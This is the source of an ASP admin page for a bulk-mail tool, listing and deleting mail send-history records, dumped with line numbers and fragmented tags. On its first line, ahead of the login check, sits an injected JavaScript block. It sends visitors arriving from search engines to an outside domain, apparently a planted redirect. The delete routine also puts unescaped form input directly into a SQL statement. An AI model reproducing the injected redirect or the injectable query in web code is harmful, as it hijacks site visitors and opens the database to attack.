d:\wwwroot\wuchunhua\sendmail\mail_sendhistory.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<!--#include file="inc/page_cls.asp"-->
003:
<html>
004:
<head>
005:
<title>管理</title>
006:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007:
<link rel="stylesheet" href="inc/style.css">
008:
<script language="javascript" src="inc/js.js"></script>
009:
</head>
010:
<body>
011:
<%
dim page
012:
page=request.QueryString("page")
013:
014:
mailclassid=checkstr(request.QueryString("mailclassid"))
015:
mailserverid=checkstr(request.QueryString("mailserverid"))
016:
mailcontentid=checkstr(request.QueryString("mailcontentid"))
017:
sendstate=checkstr(request.QueryString("sendstate"))
018:
019:
urlQuery="&mailclassid="& mailclassid &"&mailserverid="& mailserverid &"&mailcontentid="& mailcontentid &"&sendstate="& sendstate
020:
021:
action=request.QueryString("action")
022:
select case action
023:
case "list" : CheckString("213"): call list
024:
case "upsave" :CheckString("214"): call upsave
025:
end select
026:
027:
sub list
028:
%
>
029:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" class="tablebk" style="border-collapse: collapse">
030:
<tr>
031:
<td colspan="8" class="table_titlebg">历史发送记录列表</td>
032:
</tr>
033:
<tr>
034:
<td colspan="8" align="center" class="table_trbg01"><table width="100%" border="0" cellspacing="0" cellpadding="0">
035:
<tr>
036:
<form name="Form2" method="get" action="?">
037:
<td align="right">
038:
查找: <select name="mailclassid">
039:
<option value="">所有邮址分类</option>
040:
<%
set rs=conn.execute("select * from [vn_mailclass] order by orders, id desc")
041:
do while not rs.eof
%
>
042:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),mailclassid)
%
>>
<%
=rs("classname")
%
></option>
043:
<%
044:
rs.movenext
045:
loop
046:
rs.close:set rs=nothing
047:
%
>
048:
</select>
049:
<select name="mailserverid">
050:
<option value="">所有服务器</option>
051:
<%
set rs=conn.execute("select * from [vn_mailserver] order by orders, id desc")
052:
do while not rs.eof
%
>
053:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),mailserverid)
%
>>
<%
=rs("mailaddress")
%
>(
<%
=rs("mailloginname")
%
>)</option>
054:
<%
055:
rs.movenext
056:
loop
057:
rs.close:set rs=nothing
058:
%
>
059:
</select>
060:
<select name="mailcontentid">
061:
<option value="">所有内容</option>
062:
<%
set rs=conn.execute("select * from [vn_mailcontent] order by id desc")
063:
do while not rs.eof
%
>
064:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),mailcontentid)
%
>>
<%
=rs("mailsubject")
%
></option>
065:
<%
066:
rs.movenext
067:
loop
068:
rs.close:set rs=nothing
069:
%
>
070:
</select>
071:
<select name="sendstate">
072:
<option value="">所有状态</option>
073:
<option value="0"
<%
=SetSelected(stype,"0")
%
>>未完成</option>
074:
<option value="1"
<%
=SetSelected(stype,"1")
%
>>已完成</option>
075:
</select>
076:
<input type="submit" name="" value="搜索"><input type="hidden" name="action" value="list"></td></form>
077:
</tr>
078:
</table> </td>
079:
</tr>
080:
<form name="Form1" method="post" action="?action=upsave&page=
<%
=page
%
>
<%
=urlQuery
%
>" onSubmit="return confirm('确定要执行此操作吗?\n\n注意:执行删除时将删除所属的分类邮件地址');">
081:
<tr>
082:
<td align="center" class="table_trbg02"><strong>ID</strong></td>
083:
<td align="center" class="table_trbg02"><strong>分类名称</strong></td>
084:
<td align="center" class="table_trbg02"><strong>邮件服务器</strong></td>
085:
<td align="center" class="table_trbg02">发送标题</td>
086:
<td align="center" class="table_trbg02">发送状态</td>
087:
<td align="center" class="table_trbg02">发送时间</td>
088:
<td align="center" class="table_trbg02"><strong>操作</strong></td>
089:
<td align="center" class="table_trbg02"><strong>选择</strong></td>
090:
</tr>
091:
<%
092:
dim PageMaxSize
093:
PageMaxSize=12 '每页几条
094:
Set MyPage = New XdownPage '创建对象
095:
096:
if isInteger(mailclassid) then sql2 = sql2 & " and A.classid = "& mailclassid &" "
097:
if isInteger(mailserverid) then sql2 = sql2 & " and A.mailserverid = "& mailserverid &" "
098:
if isInteger(mailcontentid) then sql2 = sql2 & " and A.mailcontentid = "& mailcontentid &" "
099:
if isInteger(sendstate) then sql2 = sql2 & " and A.sendstate = "& sendstate &" "
100:
101:
MyPage.GetSQL ="SELECT A.*, B.classname, C.mailserver, D.mailsubject FROM ((vn_mailhistory AS A LEFT JOIN vn_mailclass AS B ON A.classid = B.id) LEFT JOIN vn_mailserver AS C ON A.mailserverid = C.id) LEFT JOIN vn_mailcontent AS D ON A.mailcontentid = D.id where 1=1 "& sql2 &" order by A.id desc"
102:
MyPage.PageSize = PageMaxSize '设置每一页的记录条数据为10条
103:
Set rs = MyPage.GetRS() '返回Recordset
104:
105:
If rs.eof Then
106:
response.Write("<tr><td height=""30"" align=""center"" colspan=""8"" class=""table_trbg02"">没有任何信息!</td></tr>")
107:
else
108:
For i=1 To MyPage.PageSize '显示数据
109:
If Not rs.eof Then
110:
%
>
111:
<tr>
112:
<td align="center" class="table_trbg02">
<%
=rs("ID")
%
></td>
113:
<td align="center" class="table_trbg02">
<%
=rs("classname")
%
></td>
114:
<td align="center" class="table_trbg02">
<%
=rs("mailserver")
%
></td>
115:
<td align="center" class="table_trbg02">
<%
=rs("mailsubject")
%
></td>
116:
<td align="center" class="table_trbg02">总数
<%
=rs("totalnum")
%
>,成功
<%
=rs("succeednum")
%
>,失败
<%
=rs("failingnum")
%
></td>
117:
<td align="center" class="table_trbg02">
<%
=rs("sendtime")
%
></td>
118:
<td align="center" class="table_trbg02">
<%
if rs("sendstate")="0" then
119:
response.Write("<a href=""mail_mailgroupsend.asp?mailhistoryid="& rs("id") &"""><span class='blue'>继续发</span></a>")
120:
else
121:
response.Write("已完成")
122:
end if
123:
%
></td>
124:
<td align="center" class="table_trbg02"><input type="checkbox" name="id" value="
<%
=rs("ID")
%
>"><input type="hidden" name="hideid" value="
<%
=rs("ID")
%
>"></td>
125:
</tr>
126:
<%
127:
rs.movenext
128:
Else
129:
Exit For
130:
End If
131:
next
132:
End If
133:
%
>
134:
<tr>
135:
<td colspan="8" align="right" class="table_trbg02">
136:
<input type="checkbox" name="chkall" value="on" onClick="CheckAll(this.form,'id')" />
137:
全选
138:
<select name="point">
139:
<option value="">操作方式</option>
140:
<option value="1">删除</option>
141:
</select>
142:
<input type="submit" name="Submit" value="执 行">
143:
144:
<input type="reset" name="Submit2" value="重 写"> </td>
145:
</tr>
146:
</form>
147:
<tr>
148:
<td colspan="8" align="center" class="table_trbg02">
<%
if MyPage.ShowTotalRecord>0 then MyPage.ShowPage()
%
></td>
149:
</tr>
150:
</table>
151:
<%
end sub
152:
153:
sub upsave
154:
point=GetForm("point")
155:
if point="" then alert "您没有指定操作方式!","back"
156:
157:
if point="1" then
158:
id=GetForm("id")
159:
if id="" then alert "请选择要删除的信息!","back"
160:
conn.execute("delete From [vn_mailhistory] where id in ("& id &")")
161:
alert "所选删除成功!","?action=list&page="& page & urlQuery
162:
end if
163:
164:
end sub
165:
%
>
166:
</body>
167:
</html>
168:
169: